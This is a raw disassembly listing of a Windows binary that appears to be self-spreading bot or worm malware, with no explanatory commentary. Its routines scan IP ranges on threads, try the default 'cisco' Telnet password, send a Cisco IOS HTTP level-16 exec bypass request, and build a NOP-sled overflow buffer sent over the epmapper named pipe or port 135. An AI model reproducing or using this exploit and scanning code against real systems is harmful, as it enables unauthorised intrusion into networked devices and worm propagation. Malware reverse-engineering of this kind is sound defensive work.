		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_24] ; int
		call	sub_40123B
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_18]
		call	sub_40B149
		add	esp, 2Ch
		push	edi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_40C15B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40C30A	proc near		; DATA XREF: sub_40C3D3+77o
					; sub_40C4C0+77o

var_BC		= dword	ptr -0BCh
Str		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0BCh
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_BC]
		rep movsd
		xor	esi, esi
		inc	esi
		push	10h		; Size
		mov	[eax+0A8h], esi
		lea	eax, [ebp+74h+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+74h+var_38]
		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		push	6
		mov	[ebp+74h+var_E], ax
		mov	eax, [ebp+74h+var_28]
		push	esi
		push	2
		mov	[ebp+74h+var_C], eax
		call	dword_444100	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C3C1
		push	10h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	esi
		call	dword_4440AC	; connect
		mov	ecx, [ebp+74h+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4444F4[ecx], esi
		jz	short loc_40C3C1
		push	[ebp+74h+var_38]
		push	[ebp+74h+var_28]
		call	dword_444188	; inet_ntoa
		push	eax
		push	offset asc_432E18 ; "-"
		mov	edi, offset byte_4D49B0
		push	edi		; Dest
		call	_sprintf
		push	0		; int
		push	[ebp+74h+var_20] ; int
		lea	eax, [ebp+74h+Str]
		push	edi		; int
		push	eax		; Str
		push	[ebp+74h+var_BC] ; int
		call	sub_40123B
		push	edi
		call	sub_417D70
		add	esp, 28h


loc_40C3C1:				; CODE XREF: sub_40C30A+5Cj
					; sub_40C30A+7Dj
		push	esi
		call	dword_444218	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		add	ebp, 74h
		leave
		retn	4
sub_40C30A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h

; int __cdecl sub_40C3D3(int Dst)

sub_40C3D3	proc near		; DATA XREF: sub_40274D+5D4Bo

Source		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
Src		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
Dst		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+74h+Dst]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, ebx
		lea	edi, [ebp+74h+var_B4]
		rep movsd
		mov	esi, ds:dword_42B014
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C400:				; CODE XREF: sub_40C3D3+E8j
		push	[ebp+74h+var_30]
		push	[ebp+74h+Src]
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_432E40 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	1FFh		; Count
		lea	eax, [ebp+74h+Source]
		push	eax		; Source
		mov	eax, [ebp+74h+var_24]
		imul	eax, 234h
		add	eax, offset dword_4442E8
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		lea	eax, [ebp+74h+var_8]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_B4]
		push	eax
		push	offset sub_40C30A
		push	edi
		push	edi
		call	ds:dword_42B03C	; CreateThread
		cmp	eax, edi
		mov	[ebp+74h+var_4], eax
		jz	short loc_40C469
		jmp	short loc_40C464
; ---------------------------------------------------------------------------


loc_40C460:				; CODE XREF: sub_40C3D3+94j
		push	32h
		call	esi	; Sleep


loc_40C464:				; CODE XREF: sub_40C3D3+8Bj
		cmp	[ebp+74h+var_C], edi
		jz	short loc_40C460


loc_40C469:				; CODE XREF: sub_40C3D3+89j
		push	[ebp+74h+var_4]
		call	ds:dword_42B004	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		push	4		; Size
		lea	eax, [ebp+74h+Src]
		push	eax		; Src
		lea	eax, [ebp+74h+Dst]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+74h+Dst]
		call	dword_4441DC	; htonl
		inc	eax
		push	eax
		mov	[ebp+74h+Dst], eax
		call	dword_444234	; htonl
		mov	[ebp+74h+Dst], eax
		push	4		; Size
		lea	eax, [ebp+74h+Dst]
		push	eax		; Src
		lea	eax, [ebp+74h+Src]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		jmp	loc_40C400
sub_40C3D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40C4C0	proc near		; DATA XREF: sub_40274D+5A65o

Source		= byte ptr -130h
var_B0		= dword	ptr -0B0h
Str		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, ebx
		lea	edi, [ebp+74h+var_B0]
		rep movsd
		mov	esi, ds:dword_42B014
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C4ED:				; CODE XREF: sub_40C4C0+B8j
		push	[ebp+74h+var_2C]
		push	[ebp+74h+var_1C]
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_432E94 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	1FFh		; Count
		lea	eax, [ebp+74h+Source]
		push	eax		; Source
		mov	eax, [ebp+74h+var_20]
		imul	eax, 234h
		add	eax, offset dword_4442E8
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		lea	eax, [ebp+74h+var_4]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_B0]
		push	eax
		push	offset sub_40C30A
		push	edi
		push	edi
		call	ds:dword_42B03C	; CreateThread
		cmp	eax, edi
		mov	[ebp+74h+arg_0], eax
		jz	short loc_40C556
		jmp	short loc_40C551
; ---------------------------------------------------------------------------


loc_40C54D:				; CODE XREF: sub_40C4C0+94j
		push	32h
		call	esi	; Sleep


loc_40C551:				; CODE XREF: sub_40C4C0+8Bj
		cmp	[ebp+74h+var_8], edi
		jz	short loc_40C54D


loc_40C556:				; CODE XREF: sub_40C4C0+89j
		push	[ebp+74h+arg_0]
		call	ds:dword_42B004	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+74h+var_2C]
		cmp	eax, [ebp+74h+var_28]
		jz	short loc_40C57D
		inc	[ebp+74h+var_2C]
		jmp	loc_40C4ED
; ---------------------------------------------------------------------------


loc_40C57D:				; CODE XREF: sub_40C4C0+B3j
		push	[ebp+74h+var_1C]
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_432E68 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		push	[ebp+74h+var_14] ; int
		lea	eax, [ebp+74h+Source]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_B0] ; int
		call	sub_40123B
		push	[ebp+74h+var_20]
		call	sub_40B149
		add	esp, 24h
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
sub_40C4C0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 290h
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		push	1
		push	2
		call	dword_444100	; socket
		mov	edi, eax
		cmp	edi, esi
		jl	loc_40C72B
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_44417C	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_444260	; htons
		mov	[ebp-0Eh], ax
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		push	edi
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C72B
		push	40h
		lea	eax, [ebp-50h]
		push	esi
		push	eax
		call	_memset
		push	40h
		lea	eax, [ebp-90h]
		push	esi
		push	eax
		call	_memset
		add	esp, 18h
		push	esi
		push	40h
		lea	eax, [ebp-50h]
		push	eax
		push	edi
		call	dword_444064	; recv
		test	eax, eax
		jle	loc_40C72B
		push	esi
		push	40h
		lea	eax, [ebp-50h]
		push	eax
		push	edi
		call	dword_444064	; recv
		push	esi
		push	6
		push	offset aCisco	; "cisco\r"
		push	edi
		call	dword_4441A0	; send
		push	esi
		push	40h
		lea	eax, [ebp-90h]
		push	eax
		push	edi
		call	dword_444064	; recv
		push	6
		lea	eax, [ebp-90h]
		push	offset aPass	; "\r\nPass"
		push	eax
		call	_memcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C72B
		push	28h
		lea	eax, [ebp-50h]
		push	offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"...
		push	eax
		call	_memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C72B
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aNetbios ; "NetBios"
		push	eax
		push	offset unk_432EC0
		lea	eax, [ebp-290h]
		push	200h
		push	eax
		call	__snprintf
		push	esi
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-290h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40123B
		lea	eax, [ebp-290h]
		push	eax
		call	sub_417D70
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		add	esp, 2Ch
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	short loc_40C72D
; ---------------------------------------------------------------------------


loc_40C72B:				; CODE XREF: .text:0040C5E2j
					; .text:0040C62Aj ...
		xor	eax, eax


loc_40C72D:				; CODE XREF: .text:0040C729j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1210h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_444100	; socket
		mov	edi, eax
		cmp	edi, ebx
		jl	loc_40C894
		push	10h
		lea	eax, [ebp-10h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_44417C	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_444260	; htons
		mov	[ebp-0Eh], ax
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		push	edi
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C894
		push	ebx
		mov	esi, offset aGetLevel16Exec ; "GET /level/16/exec/-///pwd  HTTP/1.0\n\n"
		push	esi
		call	_strlen
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	dword_4441A0	; send
		test	eax, eax
		jl	loc_40C894
		mov	esi, 1000h
		push	esi
		lea	eax, [ebp-1210h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 0Ch
		push	ebx
		push	esi
		lea	eax, [ebp-1210h]
		push	eax
		push	edi
		call	dword_444064	; recv
		mov	esi, eax
		cmp	esi, ebx
		jl	loc_40C894
		push	edi
		call	dword_444218	; closesocket
		cmp	esi, 5
		jl	loc_40C894
		lea	eax, [ebp-1210h]
		push	offset aHttp1_0200Ok ; "HTTP/1.0 200 OK"
		push	eax
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40C894
		lea	eax, [ebp-1210h]
		push	offset aCisco_0	; "cisco"
		push	eax
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40C894
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aNetbios ; "NetBios"
		push	eax
		push	offset unk_432F24
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	__snprintf
		push	ebx
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40123B
		lea	eax, [ebp-210h]
		push	eax
		call	sub_417D70
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		add	esp, 2Ch
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	short loc_40C896
; ---------------------------------------------------------------------------


loc_40C894:				; CODE XREF: .text:0040C752j
					; .text:0040C79Aj ...
		xor	eax, eax


loc_40C896:				; CODE XREF: .text:0040C892j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C89B	proc near		; CODE XREF: .text:0040CC6Fp
					; .text:004105B1p

Dest		= word ptr -354h
var_34E		= byte ptr -34Eh
Source		= word ptr -124h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432F8C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_432F84 ; "\\\\"
		lea	edi, [ebp+Dest]
		movsd
		movsw
		xor	eax, eax
		mov	ecx, 8Ah
		lea	edi, [ebp+var_34E]
		rep stosd
		push	45h
		stosw
		pop	ecx
		xor	ebx, ebx
		xor	eax, eax
		mov	byte ptr [ebp+Source], bl
		lea	edi, [ebp+Source+1]
		rep stosd
		stosw
		push	0FFh
		stosb
		lea	eax, [ebp+Source]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	ebx
		push	ebx
		call	ds:dword_42B07C	; MultiByteToWideChar
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		lea	eax, [ebp+var_C]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		mov	esi, [ebp+arg_4]
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	ebx
		mov	[esi+14h], eax
		mov	eax, offset dword_432F80
		push	eax
		push	eax
		push	esi
		mov	[esi+4], ebx
		mov	[esi+10h], ebx
		mov	[esi+1Ch], ebx
		call	dword_444240
		cmp	eax, 5
		mov	edi, 4C3h
		jz	short loc_40C95A
		cmp	eax, edi
		jnz	short loc_40C964


loc_40C95A:				; CODE XREF: sub_40C89B+B9j
		push	ebx
		push	ebx
		push	ebx
		push	esi
		call	dword_444240


loc_40C964:				; CODE XREF: sub_40C89B+BDj
		cmp	eax, 5
		jz	short loc_40C972
		cmp	eax, edi
		jz	short loc_40C972
		xor	eax, eax
		inc	eax
		jmp	short loc_40C974
; ---------------------------------------------------------------------------


loc_40C972:				; CODE XREF: sub_40C89B+CCj
					; sub_40C89B+D0j
		xor	eax, eax


loc_40C974:				; CODE XREF: sub_40C89B+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C89B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C979	proc near		; CODE XREF: .text:0040CCC1p
					; .text:0040CDA1p ...

Dest		= word ptr -354h
var_34E		= byte ptr -34Eh
Source		= word ptr -124h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432F8C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_432F84 ; "\\\\"
		lea	edi, [ebp+Dest]
		movsd
		movsw
		xor	eax, eax
		mov	ecx, 8Ah
		lea	edi, [ebp+var_34E]
		rep stosd
		push	45h
		stosw
		pop	ecx
		xor	ebx, ebx
		xor	eax, eax
		mov	byte ptr [ebp+Source], bl
		lea	edi, [ebp+Source+1]
		rep stosd
		stosw
		push	0FFh
		stosb
		lea	eax, [ebp+Source]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	ebx
		push	ebx
		call	ds:dword_42B07C	; MultiByteToWideChar
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		lea	eax, [ebp+var_C]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_wcscat
		add	esp, 10h
		jmp	short loc_40CA13
; ---------------------------------------------------------------------------


loc_40CA08:				; CODE XREF: sub_40C979+ABj
		push	7D0h
		call	ds:dword_42B014	; Sleep


loc_40CA13:				; CODE XREF: sub_40C979+8Dj
		push	ebx
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		call	dword_444090
		test	eax, eax
		jnz	short loc_40CA08
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_40C979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA2C	proc near		; CODE XREF: .text:0040CCEDp
					; .text:0040CE2Ep

Src		= byte ptr -2000h
var_1FDC	= byte ptr -1FDCh
Dst		= byte ptr -1FD0h
var_1F29	= byte ptr -1F29h
var_1000	= byte ptr -1000h
var_FF8		= dword	ptr -0FF8h
var_FF0		= dword	ptr -0FF0h
var_F80		= dword	ptr -0F80h
var_F7C		= dword	ptr -0F7Ch
var_F4C		= dword	ptr -0F4Ch
var_F48		= dword	ptr -0F48h
var_F30		= dword	ptr -0F30h
var_E74		= dword	ptr -0E74h
var_CA0		= dword	ptr -0CA0h
var_C98		= dword	ptr -0C98h
var_C90		= byte ptr -0C90h
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	30h		; Size
		lea	eax, [ebp+Src]
		push	offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	eax		; Dst
		mov	edi, 0A7h
		call	_memcpy
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	0FFFFFF90h	; Val
		push	eax		; Dst
		call	_memset
		push	159h		; Size
		mov	ebx, offset dword_43E620
		lea	eax, [ebp+var_1F29]
		push	ebx		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h


loc_40CA7D:				; CODE XREF: sub_40CA2C+9Bj
		push	30h		; Size
		lea	eax, [ebp+Src]
		push	offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	eax		; Dst
		inc	edi
		call	_memcpy
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	0FFFFFF90h	; Val
		push	eax		; Dst
		call	_memset
		push	159h		; Size
		lea	eax, [ebp+edi+Dst]
		push	ebx		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		lea	esi, [edi+189h]
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jnz	short loc_40CA7D
		cmp	[ebp+arg_C4], 0
		jz	short loc_40CAE4
		cmp	[ebp+arg_C0], 3
		jz	short loc_40CAED
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40CAEB
; ---------------------------------------------------------------------------


loc_40CAE4:				; CODE XREF: sub_40CA2C+A4j
		cmp	[ebp+arg_C0], 3


loc_40CAEB:				; CODE XREF: sub_40CA2C+B6j
		jnz	short loc_40CAF6


loc_40CAED:				; CODE XREF: sub_40CA2C+ADj
		push	4
		push	offset dword_43E61C
		jmp	short loc_40CAFD
; ---------------------------------------------------------------------------


loc_40CAF6:				; CODE XREF: sub_40CA2C:loc_40CAEBj
		push	4		; Size
		push	offset dword_43E618 ; Src


loc_40CAFD:				; CODE XREF: sub_40CA2C+C8j
		lea	eax, [ebp+var_1FDC]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	360h		; Size
		lea	eax, [ebp+var_1000]
		push	offset dword_43E150 ; Src
		push	eax		; Dst
		call	_memcpy
		push	10h		; Size
		lea	eax, [ebp+var_CA0]
		push	offset dword_43E4B4 ; Src
		push	eax		; Dst
		call	_memcpy
		push	esi		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [ebp+var_C90]
		push	eax		; Dst
		call	_memcpy
		push	3Ch		; Size
		lea	edi, [esi+370h]
		lea	eax, [ebp+edi+var_1000]
		push	offset off_43E4C8 ; Src
		push	eax		; Dst
		call	_memcpy
		push	30h		; Size
		add	edi, 3Ch
		lea	eax, [ebp+edi+var_1000]
		push	offset dword_43E508 ; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, esi
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA0], eax
		add	[ebp+var_C98], eax
		mov	eax, [ebp+var_FF8]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_FF0]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F7C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F7C], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F48]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F48], eax
		mov	eax, [ebp+var_F30]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F30], eax
		mov	eax, [ebp+var_E74]
		lea	eax, [eax+esi-0Ch]
		add	edi, 30h
		lea	esi, [edi+1]
		push	esi		; Size
		mov	[ebp+var_E74], eax
		call	_malloc
		add	esp, 40h
		push	esi		; Size
		mov	ebx, eax
		push	0		; Val
		push	ebx		; Dst
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+var_1000]
		push	eax		; Src
		push	ebx		; Dst
		call	_memcpy
		mov	eax, [ebp+arg_BC]
		mov	[eax], edi
		add	esp, 18h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CA2C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1138h
		call	__alloca_probe
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40CDB5
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40C89B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40CEC5
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-138h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	_sprintf
		add	esp, 0Ch
		xor	ebx, ebx
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		lea	eax, [ebp-138h]
		push	eax
		call	ds:dword_42B08C	; CreateFileA
		mov	[ebp-4], eax
		cmp	eax, 0FFFFFFFFh
		lea	eax, [ebp+0Ch]
		jnz	short loc_40CCCC


loc_40CCC0:				; CODE XREF: .text:0040CD6Dj
		push	eax
		call	sub_40C979
		pop	ecx
		jmp	loc_40CEC5
; ---------------------------------------------------------------------------


loc_40CCCC:				; CODE XREF: .text:0040CCBEj
		push	2
		push	eax
		call	sub_41AA0A
		pop	ecx
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_40CA2C
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40CD61
		mov	edi, 186A0h
		push	edi
		call	_malloc
		push	edi
		mov	esi, eax
		push	ebx
		push	esi
		call	_memset
		add	esp, 10h
		push	ebx
		lea	eax, [ebp-0Ch]
		push	eax
		mov	edi, 2710h
		push	edi
		push	esi
		push	48h
		push	offset dword_43E100
		push	dword ptr [ebp-4]
		call	ds:dword_42B088	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40CD51
		push	ebx
		lea	eax, [ebp-14h]
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	ds:dword_42B084	; WriteFile
		test	eax, eax
		jnz	short loc_40CD72


loc_40CD51:				; CODE XREF: .text:0040CD37j
		push	esi
		call	_free
		push	dword ptr [ebp-8]
		call	_free
		pop	ecx
		pop	ecx


loc_40CD61:				; CODE XREF: .text:0040CCFDj
		push	dword ptr [ebp-4]
		call	ds:dword_42B004	; CloseHandle
		lea	eax, [ebp+0Ch]
		jmp	loc_40CCC0
; ---------------------------------------------------------------------------


loc_40CD72:				; CODE XREF: .text:0040CD4Fj
		push	ebx
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	ds:dword_42B080	; ReadFile
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	_free
		push	esi
		call	_free
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_42B004	; CloseHandle
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40C979
		cmp	edi, 1
		pop	ecx
		jnz	loc_40CED6
		jmp	loc_40CEC5
; ---------------------------------------------------------------------------


loc_40CDB5:				; CODE XREF: .text:0040CC61j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_41AA0A
		mov	esi, eax
		cmp	esi, 1
		pop	ecx
		pop	ecx
		jz	loc_40CEC5
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_444100	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40CEC5
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 0Ch
		push	dword ptr [ebp+0A8h]
		mov	word ptr [ebp-24h], 2
		call	dword_444260	; htons
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_44417C	; inet_addr
		push	ebx
		push	esi
		mov	[ebp-20h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_40CA2C
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40CE47
		push	dword ptr [ebp-4]
		jmp	short loc_40CEBF
; ---------------------------------------------------------------------------


loc_40CE47:				; CODE XREF: .text:0040CE40j
		mov	edi, [ebp-4]
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CE5F


loc_40CE5C:				; CODE XREF: .text:0040CE71j
		push	esi
		jmp	short loc_40CEB8
; ---------------------------------------------------------------------------


loc_40CE5F:				; CODE XREF: .text:0040CE5Aj
		push	ebx
		push	48h
		push	offset dword_43E100
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CE5C
		push	ebx
		mov	esi, 1000h
		push	esi
		lea	eax, [ebp-1138h]
		push	eax
		push	edi
		call	dword_444064	; recv
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CEA0
		push	dword ptr [ebp-8]
		jmp	short loc_40CEB8
; ---------------------------------------------------------------------------


loc_40CEA0:				; CODE XREF: .text:0040CE99j
		push	ebx
		push	esi
		lea	eax, [ebp-1138h]
		push	eax
		push	edi
		call	dword_444064	; recv
		cmp	eax, 0FFFFFFFFh
		push	dword ptr [ebp-8]
		jnz	short loc_40CEC9


loc_40CEB8:				; CODE XREF: .text:0040CE5Dj
					; .text:0040CE9Ej
		call	_free
		pop	ecx
		push	edi


loc_40CEBF:				; CODE XREF: .text:0040CE45j
		call	dword_444218	; closesocket


loc_40CEC5:				; CODE XREF: .text:0040CC78j
					; .text:0040CCC7j ...
		xor	eax, eax
		jmp	short loc_40CF19
; ---------------------------------------------------------------------------


loc_40CEC9:				; CODE XREF: .text:0040CEB6j
		call	_free
		pop	ecx
		push	edi
		call	dword_444218	; closesocket


loc_40CED6:				; CODE XREF: .text:0040CDAAj
